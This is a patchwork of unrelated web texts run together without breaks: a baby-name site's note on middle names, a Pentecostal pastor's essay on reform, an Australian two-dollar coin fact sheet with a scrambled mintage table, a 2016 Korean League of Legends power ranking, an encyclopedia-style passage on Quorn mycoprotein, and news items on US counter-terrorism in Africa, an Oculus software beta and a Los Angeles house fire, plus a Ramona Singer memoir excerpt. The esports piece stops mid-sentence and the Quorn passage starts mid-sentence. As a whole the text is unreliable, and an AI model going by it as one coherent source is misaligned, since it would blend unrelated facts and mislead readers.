Giving a Middle name to an American is highly recommended. Middle names, or initials are expected. The absence of such a name can result in the initials NMI being added. John Smith would therefore be identified as J. Smith NMI. The NMI stands for No Middle Initial. Adopting an arbitrary initial to a name, devoid of a Middle name, does not fare much better. John X Smith is often clarified as John X (only) Smith. Oh Well! It keeps the Bureaucrats happy! Enjoy the choice!
The task and responsibility of choosing a firstname is fraught with potential disaster! Not so with Middling ones! So enjoy the wonderful range that you can select for your baby. We hope that the information and advice offered in www.babynames.org.uk Site Map will help you with your selection. Check out a unique baby name for a boy or a girl then we have a host of unusual and foreign ones to choose from. Click the link to the Unique Baby Names to continue your search. The Unique Baby Name section might also prove to be of additional help... Have fun and watch out for the pitfalls!by Sam Lee.
I have quite an interesting Christian life. Some of my fellow Pentecostals think I am liberal, and they often ask themselves “Is Samuel still a Pentecostal?” Here are my answers to the question they ask:
Indeed, I am a Pentecostal, but I wholeheartedly believe that the Pentecostal movement needs serious reform. Just like any other religious movement, it has its own blind spots and makes its own errors, yet, at the same time, it shines in its own beauty. Whenever I say that I am a Pentecostal, I do not mean that I belong to a Pentecostal religious system, organization, or denomination. Instead, I believe in the very essence, the very foundation of our faith as it is based in the Pentecost documented in the Book of Acts.
I am a Pentecostal because I believe in the power of the Holy Spirit as it was revealed in the Bible. Nevertheless, I do not agree with some of my Pentecostal friends who use the name of the Holy Spirit in a simplistic and even abusive way, i.e., to engage in a form of ethical escapism, as license to do and say what they want and hurt anyone who does not think or is like them. The greatest sign of the Holy Spirit is not speaking of tongues but the power of Unconditional Love. Love is indeed a power; it forgives, liberates, and heals. The Holy Spirit empowers us to love even the unlovable, to reach the unreachable.
I am a Pentecostal because I believe in the miracles of the Holy Spirit. I cannot deny them. I have seen them in my own life. At the same time, I disagree with some of my fellow Pentecostal friends who merchandize the works of the Holy Spirit: the commercialization of His miracles is sacrilegious. I disagree with the overemphasis on miracles, signs, and wonders, at the expense of justice and the righteousness for the poor and oppressed. I disagree with those who practice Pentecostalism while their own personal character shows little or no sign of the fruits of the Holy Spirit. I disagree with those who pretend to be super Pentecostals but do not know how to treat their spouses, neighbors, or children. True Pentecost-experience changes our characters and leads us to humility, grace, peace, and love. These are as important as signs and wonders.
I am a Pentecostal and do indeed believe in the Holy Spirit, but I do not believe that the Pentecostal denominations or churches have exclusive rights to the Holy Spirit. Holy Spirit is not an exclusive brand of Pentecostalism. Rather, the Holy Spirit is free to move among any Christ-loving church or denomination. I am a Pentecostal, but this does not make me superior to any other brothers and sisters from other denominations. I am a Pentecostal, but I do not tolerate any arrogance among those who claim to be Pentecostal. I honor all denominations that love Jesus Christ. Because I am a Pentecostal, I have learned to respect all of my brothers and sisters around the globe. Many of my friends are from other denominations or from the non-denominational realm.
I am a Pentecostal, and I believe that the Bible is an inspired work of the Holy Spirit; yet, I believe that some aspects of the Bible must be understood in historical and cultural context. I am a Pentecostal, but I disagree with some of my fellow Pentecostals who recklessly quote the Bible out of context and hurt others by doing so, or use the scriptures to manipulate and control others for various reasons. I disagree with those who use the Scriptures without love or consideration. If we choose to be judgmental, the very judgment rod that we use will become the measure of our worth.
I am a Pentecostal, but I disagree with my Pentecostal friends who quote the scriptures to enrich themselves financially. I am not against blessings or prosperity. At the same time, I do not condone the manipulative and exaggerated methods of fundraising or tithe- collection that are used by some men and women who claim to be Pentecostal. Unfortunately some televangelists have gone too far with this. I disagree with and disapprove of such acts done in the name of Pentecostalism.
I am a Pentecostal because the Pentecost honors racial and cultural diversity. The Pentecost is fundamentally about people. Jesus Christ came to restore us to the Father; the Holy Spirit came to restore us to each other. Therefore, on the day of Pentecost, people from all nations were present, and when they heard the disciples praying in foreign tongues, they each heard the message in their own language, i.e., the Arabs in Arabic, the Persians in Farsi. Peter preached on that day about the outpouring of the Holy Spirit upon all people!
I am a Pentecostal because the Pentecost is about hope, visions, and dreams. Indeed, the prophet Joel prophesied that such things would occur on the day of Pentecost. On that day, the Holy Spirit came to give all of us the strength and power to believe and hope, to dream about goodness, righteousness, dignity, integrity, and unconditional love towards people and creation. Pentecost gives hope where there is no hope. When people, nations, diseases, viruses, epidemics, natural calamities threaten to ruin the world, we are given the power of vision to rebuild, restore, care, and love! As Bishop Tutu said, Christianity is about helping God to fulfill His dreams for humanity and creation. That is Pentecost to me!
I am a Pentecostal because Pentecost means sharing and participating in social action! In the Book of Acts (2), we read that the believers devoted themselves to prayer and fellowship. Those who possessed many worldly goods sold what they had and gave their resources to those who had less. So, did they come to hold all things in common? The true Pentecost to me, cares for the poor, the oppressed, the orphans, the widows, and the migrants. Our world is full of imbalance, injustice, and problems deriving from the improper distribution of wealth. It is the duty of the Church to rise up and do something about poverty, illness, and injustice. We must share what we have with others.
I believe that, if we do not change our lifestyle and correct our collective moral and ethical mistakes, the Pentecostal movement will lose ground in the Western world. We need a reformation within the movement. Other branches of Christianity have found themselves in a similar predicament in the past and reform movements have corrected the existing problems.
Lastly to my Non-Pentecostal friends, I would say; give the Pentecostals a chance and hear us out! Unfortunately, because of the noise generated by some “super” Pentecostals, you cannot or—choose not—to hear the the other voices. Engage in fellowship with us as we want to with you.
Let us learn from each other! Not every aspect of Christianity can be explained in strictly theological terms. And, some things cannot be explained either in this way or scientifically, but they can indeed be described as evidence of the movement of the Holy Spirit. Moreover, they are explainable through the mysticism of His love and His work. Pentecostals have great things to offer the Christian world, but at the same time, they should reform their own ways, address their own faults, and learn to listen to others, especially to fellow believers from different denominations.
Now is up to the reader to decide wether, I am a Pentecostal or not!
Samuel Lee is a husband, a father, a brother, a friend, a Pentecostal pastor, evangelist, sociologist, human rights activist, author and public speaker. His passion is reforming Pentecostalism and for advocating social justice for migrants. He and his wife Sarah live in the Netherlands and serve as pastors among the immigrant and refugee community in Amsterdam.The two dollar coin was first introduced on 20 June 1988. Planning for a two dollar coin commenced around the same time as that for the one dollar coin. Like the one dollar, the two dollar coin replaced the note of the same denomination which had a short service life through high use.
The image on the Australian two dollar coin represents an archetype of an Aboriginal tribal elder, designed by Horst Hahne.
Numerous designers were invited to contribute designs for the two dollar coin based on a brief to include a representation of the head and shoulders of an Aboriginal Australian, the Southern Cross and Australian flora.
The selected design was inspired by an artwork by Ainslie Roberts and modified in line with coin production requirements. Roberts used some features of Gwoya Tjungurrayi, otherwise known as One Pound Jimmy, as inspiration when creating a portrait depicting a traditional Aboriginal tribal elder. The rest of the features were derived from Roberts’ imagination and visual memory developed after drawing thousands of images of Indigenous people.
The size of the two dollar was determined after consideration of the needs of the visually impaired community, security considerations, a desire to avoid shaped coins, practical limitations to the diameter and thickness of coins, and to allow for future expansion of Australia's circulating coin array. When introduced, it was necessary to accommodate this new coin with seven existing denominations.
This denomination has since been used for commemorative designs.
Nominal Specifications
Composition: 92% Copper – 6% Aluminium – 2% Nickel
Shape: Circular
Edge: Interrupted Milled
Mass: 6.60 grams
Diameter: 20.50 millimetres
Mintage Figures
Reverse Design Design Details Year Mintage
(millions) Mint* Designed by Horst Hahne. The 1988 and 1989 dated coins carried the designer’s initials. 1988 1989 160.9 31.6 RAM RAM Designed by Horst Hahne. The designer’s initials were removed from the coins from 1990 onwards. 1990 10.3 RAM No two dollar coins were produced in 1991. 1991 - - Designed by Horst Hahne. The designer’s initials were removed from the coins from 1990 onwards 1992 1993 1994 1995 1996 1997 1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2011 2012 15.5 4.9 22.1 15.5 13.9 19.0 8.7 27.3 5.7 35.6 29.7 13.7 20.0 45.5 40.5 26.0 47.0 74.5 36.5 1.8 5.9 RAM RAM RAM RAM RAM RAM RAM RAM RAM RAM RAM RAM RAM RAM RAM RAM RAM RAM RAM RAM RAM Commemorating Remembrance Day with an image of a poppy. Designed by Aaron Baggio. 2012 5.8 RAM Commemorating Remembrance Day with an image of a red poppy. Designed by Aaron Baggio. 2012 0.5 RAM Commemorating the 60th anniversary of the Coronation of Her Majesty Queen Elizabeth II with concentric purple stripes and a central design feature of St Edward’s Crown. Designed by Aleksandra Stokic. 2013 1.0 RAM Designed by Horst Hahne. The designer’s initials were removed from the coins from 1990 onwards 2013 2014 35.1 39.9 RAM RAM Commemorating Remembrance Day with a dove and olive branch surrounded by concentric green stripes and rays of sunlight inspired by the original Rising Sun badge of the Australian Commonwealth Military Forces. Designed by Royal Australian Mint. 2014 1.85 RAM Designed by Horst Hahne. The designer’s initials were removed from the coins from 1990 onwards 2015 22.053 RAM Commemorating 100 years since the Anzac Cove landings, inspired by the poppy, the distinctive and powerful red coloured print encapsulates the solemn words ‘Lest We Forget’. Designed by Aleksandra Stokic. 2015 1.46 RAM Commemorating In Flanders Fields sculpted larks surround orange coloured rings representing the sunset glow. Designed by Royal Australian Mint. 2015 2.15 RAM 2016 obverse design to celebrate the 50th anniversary of decimal currency 2016 2.88 RAM Designed by Horst Hahne. The designer’s initials were removed from the coins from 1990 onwards 2016 35.77 RAM An artistic depiction of Napier Waller’s mosaic from the Australian War Memorial’s Hall of Memory. Designed by Royal Australian Mint. 2017 3.9 RAM Designed by Horst Hahne. The designer’s initials were removed from the coins from 1990 onwards 2017 16.4 RAM The distinctive pointed leaves and purple flowers of the herb rosemary make a moving and evocative design. Designed by the Royal Australian Mint. 2017 2.1 RAM A striking and evocative design that is inspired by the Eternal Flame at the Australian War Memorial. Designed by the Royal Australian Mint. 2018 3.4** RAM Designed by Horst Hahne. The designer’s initials were removed from the coins from 1990 onwards 2018 2.4** RAM In 2018 Australia hosts the Invictus Games where brave athletes who have overcome life-changing events will share with us their challenges and triumphs 2018 - - This coin honours those who have fallen and commemorates the 100th anniversary of the First World War Armisitice, signed on November 11,1918 2018 - -
Notes for using these tables: These are final mintages where the numbers have been published in an Annual Report and all coins have been issued. Items marked not available will be updated when they pass the Annual Report and issue test.
*All $2 coins have been struck at the Royal Australian Mint
** Partial Numbers for 2018 - Total production to be confirmed, once the 2018-2019 Annual Report is released.Colin Kenitz (7 – 14 – 2016)
Current Actual LCK Standings (as of 7/13/16)
1. Rox Tigers (9 – 3)
1. Samsung Galaxy (9 – 3)
1. SK Telecom T1 (9 – 3)
4. KT Rolster (7 – 5)
5. MVP (6 – 6)
6. Afreeca Freecs (5 – 6)
7 Jin Air Green Wings (5 – 7)
8. ESC Ever (4 – 7)
9. Longzhu Gaming (2 – 9)
9. CJ ENTUS (2 – 9)
The mid-season point in the summer Split has just crested, and we’re now fully on the path towards Worlds, as far away as it may seem. Korea has been the strongest region in the world for years and it’s currently in the middle of one of it’s most competitive Seasons ever. Here is a power ranking and summary of each team in their current state, included in which is where they stand now and how I think they will finish out the season.
The number in parenthesis by each team name represents the value, positive or negative, that I rated them differently from their actual league standing.
1. SKT (0) – SK Telecom has had all of their struggles against mid level teams thus far. They came into the split after a clean MSI victory with their coaches saying, hey, we’re tired, so don’t expect much from us. Whether intentional or not, the downplayed SKT went on to begin the season 5 – 0 until they stumbled a bit towards the end of the first half of the season. Falling to surprising teams such as Jin Air and the Afreeca Freecs. Despite this, they’ve been solid against the teams near and above them in the standings. They’ve found wins over an at the time first place KT Rolster and Rox Tigers. Blank has been fielded most games, but we’ve seen some games from Bengi, albeit -mostly- on his old favorite champions, such as Elise. Blank has been playing more proactive early game junglers such as Gragas, which is a good look for such a mechanically skilled player. Duke has looked good, but seems somewhat stagnant. He’s had some questionable picks like the post-nerf Gangplank where he’s just been shut down. In one such game, ADD of MVP solo killed him three times within minutes. Wolf has looked as good as always, and he’s really picked up the Nami this season, which is a tricky pick that he pulls off very well. Since she’s so squishy, he really has to coordinate his invades and warding missions well with his laners and jungler, which for the most part has been great. While Faker is doing Faker Things, his stage has been stolen. Bang has been the true carry of this team through this Summer Split. He’s consistently been out damaging Faker in these games, but it’s not purely because he’s just playing so good. Faker is actually such a strong presence that teams invest so much to pick him off first in team fights, and thus we’re often seeing team fights completely turned around, concluding with a full HP Bang cleaning up the enemy team. The way SKT plays works for them because their shot calling is amazing, Kkoma is an amazing coach, and finally because each player’s individual talent and skill is so good that they can rely on one another at a level most teams cannot.
2. Rox Tigers (-1) – Rox Tigers have, again, found themselves at the top of the table for the third Split in a row. It’s the same thing we’ve seen before, and maybe again, they’ll finish above SKT in the standings, but the real question is: will they be able to beat SKT in the play offs? Smeb has been looking as dominant as ever. He’s the current league MVP leader with 900 points. He’s been crushing both on carry picks like Irelia and tank picks such as Trundle. Pray has been playing immaculately as well. The best thing is that Pray was playing the Jhin last season before it was meta, but now that he’s in the meta it just looks so good. The catch ability of Jhin along with Peanut’s aggressive jungling style creates picks in all phases of the game. Unfortunately for Peanut, his play style was hit hard this season. With the massively increased value of Elemental Drakes (well, three of the four) Peanut’s aggressive early ganking style has been somewhat nullified. If he shows top to gank and gets a kill, its okay, but then the enemy team is advertised a free Drake. It’s been great to see that he’s been able to still play his style of League whilst adapting to the new meta. For me, unquestionably the best support in the league last season was GorillA. I still feel this way. GorillA was criticized as an Alistar one trick, but he’s never been such. To prove that, Alistar got some pretty heavy nerfs this season but GorillA’s still been playing him excellently, as well as many other supports. One recent performance that displays this is their most recent game against KT where GorillA saved so many team fights for him team by himself with good ultimates and consumes. Rox continue to dominate the teams below them, as they do, but their bane has still proven to be SKT, mainly in the Faker – mid matchup. Rox has the highest kills per minute in the LCK, so their agression hasn’t died away, and you can always rely on their games to be exciting.
3. KT Rolster (+1) – KT has been quite up and down this season. Sitting at 7 – 5 doesn’t look that great, but in a league where three teams are currently tied for first mid way through the season, it’s hard to read into standings at face value. When we look at KT’s wins and how they won, as well as their losses and how they lost, we’re able to see that the other Telecom team is in just as strong of form as last year when they went to worlds. To look back at that, they got through the group stage just fine, but were faced against the then Koo Tigers, where they lost 3 – 1 in a match that was one of the only non 3 – 0 sets of the knockout stage. While the Tigers went on to be runner ups, KT went back to focus on another season in the LCK. In Spring they made it to the third round of play offs, but were destroyed by SKT in the semi-final Telecom War. This Summer they’ve been looking great. Ssumday hasn’t been the raw carry force we’ve seen before, but with the meta shifting towards more carry options in the top lane we’ve seen some pretty incredible performances recently. Fly’s been really good on the Vladimir, and his pocket Aurelion Sol surprises and devastates his opponents, including Faker. Despite being one of the oldest players in the League, Score has been a crux for his team’s success as well. KT’s decision making under their veteran jungler has put them in many strong positions, even coming back from some early deficits. Score isn’t the only veteran on the squad though, as Ssumday, Hachani, and especially Arrow have all been around for a long time. Hachani has been suffering less from being caught out by random, unsafe warding missions, and Arrow’s Ashe is now a meta pick, and he’s used it for some pretty awesome Enchanted Crystal Arrow snipes across the map. KT Rolster is a fantastic team to watch and focus on their map movements and decision making, and they’re on their way to another massively successful season
4. Samsung Galaxy (-3) – Perhaps the biggest surprise of the season. The low end to barely middle of the table team of Spring Split has exploded this Summer. Cuvee has looked much more solid in general this season. He’s been more self reliant, better with teleports, and better on both carry and tank champions in the split push and laning phase. Previously he’s been considered a serious liability for his team, but he has indeed shown up on both types of roles this Split. He’s still struggling against the best of the best in Ssumday and Smeb, but in a region loaded in top lane talent, holding your own against the likes of these players is a feat in itself. Crown has been really similar, as he’s improved quite a bit since last season but he’s still struggled quite badly against the likes of Fly and Faker. The team has suffered some rough losses while fielding Corejj as their substitute support player, but while they have Wraith their shot calling looks clean and concise. The players themselves have said that he plays a large role in shot calling, so although Corejj hasn’t individually faltered necessarily, Wraith’s role in the team is irreplaceable. The true strength of the newly wrought Samsung roster comes from Ambition and Ruler. Ambition, the former mid-laner of CJ Entus, the former jungler of CJ Entus, has really found his footing this split on Samsung. His jungle pathing is intelligent and his mechanical ability and veteran game knowledge has gotten him recognized as one of the strongest junglers. With the addition of Ruler, the new ADC, Wraith and Ambition have been able to ward better and more aggressively, because Ruler is a more map aware player, he reacts very quickly and knows how to play while his team mates sneak their way into enemy territory. Samsung is currently tied for first, but I Think once they play their second round of matches against the teams I’ve ranked above them, they’ll find themselves in play-off position, but simply not at the same caliber to compete at the highest level of the LCK.
5. MVP (0) – Perhaps the other biggest surprise of the season! MVP, a previous power house in Korea, but was only just promoted back into the LCK this split. Although they were dominating so hard in the challenger scene, no one could have said they would even be a middle of the table team. The landscapes between challenger and LCK are so vastly different, but it has been a very pleasant surprise for all of us. ADD looks very strong on several picks, his Trundle and Gnar especially have just been dominant, even against the best top laners in the league. His split pushing presence in the mid – late game is quite impressive for a rookie player. At the beginning of the season Maha, the ADC, was being caught out far too frequently both in lane phase and into the late game, causing the team to lose a lot of games. They’ve remedied this somewhat by putting him on the Jhin a lot, a character that is able to fully influence fights and create picks from quite far a away. Ian has looked especially good on Azir and his Varus has shown some clearly dominating performances. He understands his role well in team fights, whether it be CC or back line threat, and as he finds his place in the LCK he’ll only get better. Max is very preferential to the Bard pick, and it’s easy to see why. There’s been more than one game where he’s saved entire team fights for his team with his bard ultimates, whether used to disengage from enemy picks or to engage for his team. Overall, though, Beyond, the jungler, has been the true MVP of MVP. He’s tied with Faker for the second most MVP points in the league at 700 points, only two MVP’s away from tying Smeb at number one. His early jungle presence carries him against straight up stronger players and teams, and his kill participation is insane at over 78%. Overall MVP has incredible mental fortitude for a team with three rookies on it, and have stayed in and made comebacks in several desperate scenarios. Beyond’s pocket Amumu found a win against the Rox tigers, and while losing to Afreeca, individually he performed well. Maha has stepped up a few times on Ashe as well with really clutch accuracy with her ultimate combining with Max’s bindings for chain CC. Their average of being down 1100 gold at fifteen minutes betrays their skill and win rate, because their late game is simply amazing.
6. Afreeca (0) Afreeca was the biggest surprise of the Spring Split. Previously Rebels Anarchy, they struggled to find more than a few set wins in 2015. Toward the end of Spring, however, they made an impressive run and found themselves in the first round of the playoffs, knocking out several other contenders in a close run that came down to game differential. Mickey has been good this season, but it’s no longer the Mickey Show. This started last season, but it’s been more prevalent in the Summer Split. Sangyoon has been the true carry of this team in many ways this Season. He’s got a 4.2 KDA, which although is not by any means the highest of the league, puts him above PraY at 4.0. He gets a fairly small amount of resources from his team, but his positioning in team fights has been so impressive. He and Snowflower look to have good communication in lane, but it really is in the 5v5 scenarios where he shines. Lira hasn’t been getting caught out as much in the jungle as he had been, however junglers such as Score, Ambition, and Peanut still give him clear trouble. The Freecs have been alternating their top players between Ikssu, their top from last season, and Lindarang. Between the two, its difficult to say which player deserves the primary position. Win percentage wise they are very similar at 44% and 43% respectively. As well, both have positive CS and gold differentials at the ten minute mark. Their main difference lies in kill participation, where Lindarang is about 10% higher than Ikssu. Afreeca seems to be finding their footing, and despite where they sit now, they could potentially make a run |
acts as a binder. It is then textured, giving it some of the grained character of meat, and pressed either into a mince resembling ground beef; forms resembling chicken breasts, meatballs, and turkey roasts; or chunks resembling diced chicken breast. In these forms, Quorn has a varying colour and a mild flavour resembling the imitated meat product, and is suitable for use as a replacement for meat in many dishes, such as stews and casseroles.
The final Quorn product is high in protein and dietary fibre and is low in saturated fat. It contains less dietary iron than most meats and the manufacturers have not released much information about additives they use to make Quorn resemble meat. Quorn is considered acceptable in small amounts for babies over 9 months old but should be introduced gradually. The high fibre and low calorie content is better for adults than babies and too much fibre can cause flatulence. The salt content should be checked before giving Quorn to babies since the salt content varies between products.[38][39]
The carbon footprint of Quorn Frozen Mince in the UK is claimed to be at least 80% less than that of beef.[40]
Quorn for the UK and European market is produced at Marlow's headquarters in Stokesley, North Yorkshire and at nearby Billingham in Stockton-on-Tees.[41]
Controversy [ edit ]
Quorn's 2002 debut in the US was more problematic than its European introduction. The Center for Science in the Public Interest (CSPI) expressed multiple concerns over the product.[42] Much of the concern from CSPI and others was over the original labeling of Quorn as a "mushroom based" product, since Fusarium venenatum is not a mushroom (rather, it is a microfungus).[42] The sale of Quorn was contested by The American Mushroom Institute, rival Gardenburger, as well as the CSPI. They filed complaints with advertising and trading-standards watchdogs in Europe and the US, claiming the labelling of Quorn as "mushroom based" was deceptive.[42][43] The CSPI observed that while a mushroom is a fungus, Fusarium is not a mushroom, and stated, "Quorn's fungus is as closely related to mushrooms as humans are to jellyfish."[44]
CSPI also claimed that Quorn could cause allergic reactions and should be removed from stores. Calling the product "fungus food", CSPI claimed in 2003 that it "sickens 4.5% of eaters".[45] The manufacturer (Marlow Foods) disputes the figure, claiming that only 0.0007% (1 in 146,000) suffer adverse reactions and that the strain of fungus it uses does not produce toxins.[45] The CSPI's claims were also described by Leslie Bonci, professor of nutrition at the University of Pittsburgh, as "overblown".[46] Wendy Preiser, Gardenburger's vice president of marketing, said the company was afraid that Quorn's labels would cause people to be suspicious about all meat-free products.[47][48]
The UK's Advertising Standards Authority also had concerns over Marlow's practice of marketing Quorn as "mushroom in origin", saying it had been "misleading consumers". The ASA noted "despite the advertiser’s explanation that they used the term because customers were unfamiliar with the main ingredient, mycoprotein, the ASA considered that the claim implied that Quorn was made from mushroom. Marlow Foods were asked either to delete the claim or give in the same font size a statement of the mycoprotein origin of the product or the fungal origin of the product."[49]
Quorn's acceptance in the vegetarian market was hampered by the use of battery eggs in its production process, a practice opposed on ethical grounds by many in the vegetarian community. For this reason, the Vegetarian Society initially did not approve these products. Working with the Vegetarian Society, Marlow began phasing out battery eggs in 2000,[50] and by 2004 all Quorn products sold in the UK were produced without battery eggs, earning the Vegetarian Society's seal of approval.[20]
An asthma attack in 2003 was linked to Quorn, which the patient had eaten an hour earlier. Scientists' tests showed Quorn to be the only food to which the patient had an allergic reaction. A spokesperson for the Food Standards Agency stated that an allergy was not surprising because of the high protein content.[51] Former FSA director Jon Bell responded in defence of Quorn stating that several commonly consumed foods and food ingredients — such as soya — have a much higher intolerance level than Quorn. While adverse reactions were reported for one in 146,000 people who ate Quorn, this rose to one in 35 who ate shellfish and one in 350 who ate soya.[51][52]
Benefits [ edit ]
Clinical studies have demonstrated that mycoprotein has positive physiological effects due to its high content in fiber and protein, the low content of carbohydrates and the fact that its fat content is mostly unsaturated. It has been proven that mycoprotein reduces total cholesterol and LDL (Low Density Lipoprotein), induces satiety and can reduce the glycemic response when present with carbohydrate-rich foods.[53]
Cholesterol [ edit ]
The first proof that mycoprotein was capable to reduce total cholesterol and LDL in blood was in a tolerance study,[54] where the only significant change in blood analysis was the decrease of cholesterol during the mycoprotein phase of the study (where the participants ingested mycoprotein). Two studies[55][56] at King’s College (University of London), demonstrated that mycoprotein lowers total and LDL cholesterol in subjects with slightly raised levels under two different conditions: under clinical ingest control and in a free ingest condition. In the first study,[55] clinically prepared meals were provided to 17 subjects, which consumed 190 g/day of mycoprotein for 3 weeks. Total cholesterol and LDL in blood were significantly reduced, whereas HDL (High Density Lipoprotein) increased. In the second study,[56] 21 subjects were provided with 27 g/day of mycoprotein in dry weight (approximately 130 g/day of regular moisture mycoprotein) in form of a biscuit for 8 weeks. Blood samples were recollected at the beginning, at 4 weeks and at 8 weeks. Total cholesterol and LDL decreased during the study, but no statistically significant differences were observed in HDL cholesterol.
A pilot study,[57] based on 21 subjects who didn’t consume mycoprotein, whom were asked to ingest it for 6 weeks.Ten of those subjects continued with their regular diets, being the control group. It was proven that cholesterol in individuals who present high contents is reduced, but the authors conclude stating that a more rigorous study with more participants is needed to know if mycoprotein ingest also intervenes in other aspects, such as of glucose in blood reduction or blood pressure.
Effects on satiety [ edit ]
A study[58] demonstrated that when subjects received meals of similar nutritional values based either on chicken or mycoprotein, those who received mycoprotein felt less hungry in the evening, and when dinner time came, they ate less when compared to those who ate chicken. In another study[59] with the same dynamic, these result were validated, and it was also demonstrated that the next ingest in the sequent day, it was also lower in quantity compared with the other group, proving that diets with a high content of mycoprotein can have a positive effect on appetite regulation.
Effects on the glycemic response [ edit ]
Mycoprotein has also the ability to reduce the glycemic response, that is the rate of change in blood glucose, following the ingest of such. In a study,[60] 19 subjects were asked to fast overnight, and the next morning they received either a milkshake with soya flour and milk or a milkshake with 20 mg of mycoprotein. Blood samples were recollected before ingesting the milkshake, and at intervals of 30 minutes for 120 minutes. The glucose response in serum was statistically significant lower in the subjects who received the mycoprotein compared to the control group. The insulin in blood also had a similar behavior. The authors concluded saying that mycoprotein could be a beneficial supplement in diets for diabetic people.
Mycoprotein patent expiration [ edit ]
In the European Union, patents expire after 20 years from their filing date. Since the first patent application was filed in 1985,[61] the mycoprotein patents had already expired in 2010 in all EU countries. Now anyone can legally produce mycoprotein products using the previously patented processes (but using other brand names, because Marlow Foods maintains ownership of the Quorn brand name). On 14 March 2011, CEO Kevin Brennan said in an interview: "Some patents surrounding the core technology have expired, but the product uses a peculiar fermentation method, and we have 30-plus years' experience in perfecting this on site to produce the product better and at a lower cost. Huge related costs include £30m cost for a fermentation tower and related equipment, so you can't simply look at a patent and say 'there you go'."[62]
Vegan version of product [ edit ]
In late 2011, the first vegan Quorn product was released, called the Quorn Vegan Burger,[63] available initially only in the US. Following strong sales of the product and increasing demand from the UK market, Quorn Foods UK Marketing Director Chris Wragg announced that they are now developing and testing a line of vegan products for the UK market. The company said it was also reducing its use of eggs overall, using 3.5 million fewer eggs since 2010.[64] The first range of vegan Quorn in the UK, of which there are currently eight such products, was launched in October 2015.[65]
See also [ edit ]Sen. Lindsey Graham, R-S.C., said Friday that U.S. global counter-terrorism operations are set to expand and become more aggressive following a meeting with Defense Secretary Jim Mattis about troop deaths in Niger.
That will include more operations in Africa where four soldiers were killed this month after being ambushed by Islamic State-aligned fighters and a loosening of the military's rules of engagement to allow the killing of those considered part of a terrorist group, even if they do not present an immediate threat to the U.S., Graham said after emerging from his Senate office with Mattis.
"The war is headed to Africa. It's beginning to morph. As we suppress the enemy in the Mideast, they are going to move. They are not going to quit," he said.
Mattis came to Capitol Hill to meet with Sen. John McCain, R-Ariz., after weeks of pressure by the Armed Services chairman aimed at getting the Trump administration to discuss its military strategy around the globe. Both men met briefly in McCain's office and emerged after about 10 minutes shaking hands and promising better communication.
"I think what Sen. McCain is trying to do here is as the war expands, as the military has more authority that Congress is going to require more information," Graham said.
The meeting and disclosure by Graham of an expanded global war effort comes just a week before Mattis and Secretary of State Rex Tillerson are scheduled to testify in the Senate about a new war authorization.
Congress has not authorized war since 2002, though the debate has been simmering for years, and calls for a new war vote could be reignited if the Trump administration moves to fight ISIS in Africa and elsewhere.
"There'll be a lot of members of Congress who'll say, ‘Well, wait a minute, if you can go anywhere you want to go and start killing people, you know, anybody you want to kill, then we need to rein you in,' and that's not the way it works," Graham said.Update: And it’s now available – enjoy!
Original story: The biggest update to the Oculus platform yet is just a few days away. At least the beta is.
Oculus’ Rift Core 2.0 update, first announced at Oculus Connect 4 back in October, will be arriving as a beta on December 6th. If you want to take part in the beta you’ll need to opt-in via the Oculus desktop app.
Ever wanted to redecorate your Oculus Home? On December 6, deck the walls and so much more with the completely redesigned Rift Core 2.0 beta update. Get all the info here: https://t.co/IbjBEOKB1D pic.twitter.com/xPXVPZ1WvT — Oculus Rift (@OculusRift) December 2, 2017
Rift Core 2.0 introduces two major new features. The first is Dash, Oculus’ new user-interface designed for its Touch controllers and accessible within any VR application. It allows you to quickly switch between experiences and even summon standard desktop applications and internet browsers from within VR that appear as virtual windows. You might bring up Spotify to create a playlist for some Robo Recall action, for example, or search the web to solve some of Wilson’s Heart’s harder puzzles.
The other big addition is a redesigned Oculus Home that’s fully customizable. For the first time ever you’ll be able to decorate your own space how you see fit, right down to display Oculus achievements on your walls and even housing your content collection as retro videogames that you access by inserting into a console. Better yet, you’ll be able to bring friends into your space to show your designs off, too.
Check it out:
Exactly how many of these features will be in the beta is unclear, nor do we know how long it will take to launch a stable build of the update.A dramatic rescue was caught on camera in Los Angeles early Tuesday morning as firefighters worked to save a woman trapped inside a burning building.
Two Los Angeles Police officers noticed a large plume of smoke just before 1:00 AM at a home on the 800 block of 74th Street. When they arrived, neighbours were screaming that a woman was still trapped inside the home.
“It’s kind of one of those things where you’re in the right place at the right time. I’m thankful my partner saw it. Her seeing the smoke gave us the opportunity to make sure the lady made it out of the house OK,” Officer Christopher Carnahan, the officer who first spotted the smoke, told NBC Los Angeles.
WATCH: Dog found swimming a mile off Cape Cod rescued by passing fishermen
What unfolded was several tense minutes as the officers try to free the woman, who is trapped by the growing flames. Neighbours attempted to pry the woman’s front door open with a crowbar, but were not successful. The two officers attempted to kick her back door down, but found it too was blocked.
Eventually, aided by the two responding officers as well as local residents, the firefighters were able to cut through the metal bars covering the windows on one side of the house before pulling the woman to safety.
The woman was taken to a nearby hospital but is expected to be ok. A dog was also rescued from the fire but died on scene.Ramona Singer is not holding back in her revealing new memoir, Life on the Ramona Coaster. The book, which hits retailers (like Amazon) on July 28, gives fans an inside look at her life, from her tumultuous childhood to her split from Mario. Ahead of its release, the Daily Dish is sharing excerpts-- and earlier this week we shared a passage in which Ramona recalled how she found out about Mario's affair.
In this latest first look, the Real Housewives of New York star recalls how her daughter, Avery, learned of the affair. Check it out below.
A few days later, Mario got a voicemail from a woman saying that if he didn’t give her money she was going to go to the press. At that point there had been only one article, which had been damaging enough. The last thing we needed while we were trying to salvage our marriage was a full-blown media firestorm. Just the threat of it was so stressful that we got into a huge fight. Avery was in her room on the other end of the house, but she heard us screaming at one another. She told me later that it felt like something out of a movie. She described hearing me yell something like, “What are you go-ing to do? We need to protect Avery,” and her father answer, “I don’t know. It’s your problem, Ramona. Deal with it.” She couldn’t make out a lot of what we were saying, so she crept down the staircase and stood listening at the bottom. That’s when she heard her father say, “Ramona, I am one step away from walking out that door,” and me scream back, “Why don’t you just go f--- her!”
